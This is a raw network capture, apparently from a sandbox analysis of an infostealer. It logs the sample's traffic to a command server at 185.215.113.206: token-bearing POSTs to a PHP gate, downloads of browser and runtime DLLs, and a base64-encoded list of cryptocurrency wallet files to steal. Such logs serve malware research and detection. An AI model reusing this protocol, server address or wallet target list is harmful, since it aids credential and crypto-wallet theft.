Nov 18, 2024 15:16:57.400260925 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file"------BKJKEBGDHDAFHJKEGIID--
Nov 18, 2024 15:16:58.171972990 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:16:58.864422083 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 15:16:59.161725998 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 18, 2024 15:16:59.161742926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 18, 2024 15:16:59.161756039 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 18, 2024 15:16:59.161767960 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 18, 2024 15:16:59.161781073 CET	848	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 18, 2024 15:16:59.162149906 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 18, 2024 15:16:59.162206888 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 18, 2024 15:16:59.162220955 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 18, 2024 15:16:59.162358046 CET	1236	IN	Data Raw: 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 Data Ascii: EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31
Nov 18, 2024 15:16:59.162370920 CET	848	IN	Data Raw: 89 55 e0 31 cf 8b 75 98 31 d6 89 f9 0f a4 f1 08 0f a4 fe 08 89 f2 8b 85 74 ff ff ff 8b 70 48 89 b5 38 ff ff ff 8b 7d b4 01 f7 8b 70 4c 89 b5 14 ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da Data Ascii: U1u1tpH8}pLE]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tO
Nov 18, 2024 15:17:02.331921101 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 15:17:02.608757973 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:02 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 18, 2024 15:17:04.310663939 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 15:17:04.587701082 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 18, 2024 15:17:05.393244028 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 15:17:05.669853926 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 18, 2024 15:17:07.666564941 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 15:17:07.946254015 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 18, 2024 15:17:08.138031006 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 15:17:08.414537907 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 18, 2024 15:17:09.427906990 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFID Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 15:17:10.203147888 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:17:10.330780983 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEHIIJJECFHJKECFHDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 47 2d 2d 0d 0a Data Ascii: ------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------JKEHIIJJECFHJKECFHDGContent-Disposition: form-data; name="message"wallets------JKEHIIJJECFHJKECFHDG--
Nov 18, 2024 15:17:10.609581947 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 18, 2024 15:17:10.614249945 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJJDGHJKKJEBFHJDBGH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 4a 44 47 48 4a 4b 4b 4a 45 42 46 48 4a 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------IIJJDGHJKKJEBFHJDBGHContent-Disposition: form-data; name="message"files------IIJJDGHJKKJEBFHJDBGH--
Nov 18, 2024 15:17:10.894287109 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
